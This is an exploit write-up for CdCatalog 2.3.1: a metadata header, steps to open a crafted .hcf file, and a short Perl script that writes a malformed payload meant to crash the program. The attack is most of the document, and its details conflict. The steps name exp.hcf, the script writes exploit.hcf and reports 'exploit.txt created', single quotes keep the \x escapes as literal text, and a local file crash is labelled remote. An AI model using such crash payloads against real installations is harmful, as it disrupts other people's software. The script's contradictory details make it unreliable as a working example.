# Exploit Title: CdCatalog 2.3.1 - Denial of Service - DoS
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: http://cdcat.sourceforge.net
# Software Link: https://netcologne.dl.sourceforge.net/project/cdcat/cdcat/cdcat-2.3.1/cdcat-2.3.1.tar.bz2
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# How do?
# Execute script exploit.pl
# CTRL+O
# File
# Open
# exp.hcf
# Denial of Service

#!/usr/bin/perl

my $exploit = '\x41\x42' x 11;

    open(my $file, '>', 'exploit.hcf') or die "Cannot open file: $!";
    print $file $exploit;
    close $file;

    print "exploit.txt created! \n";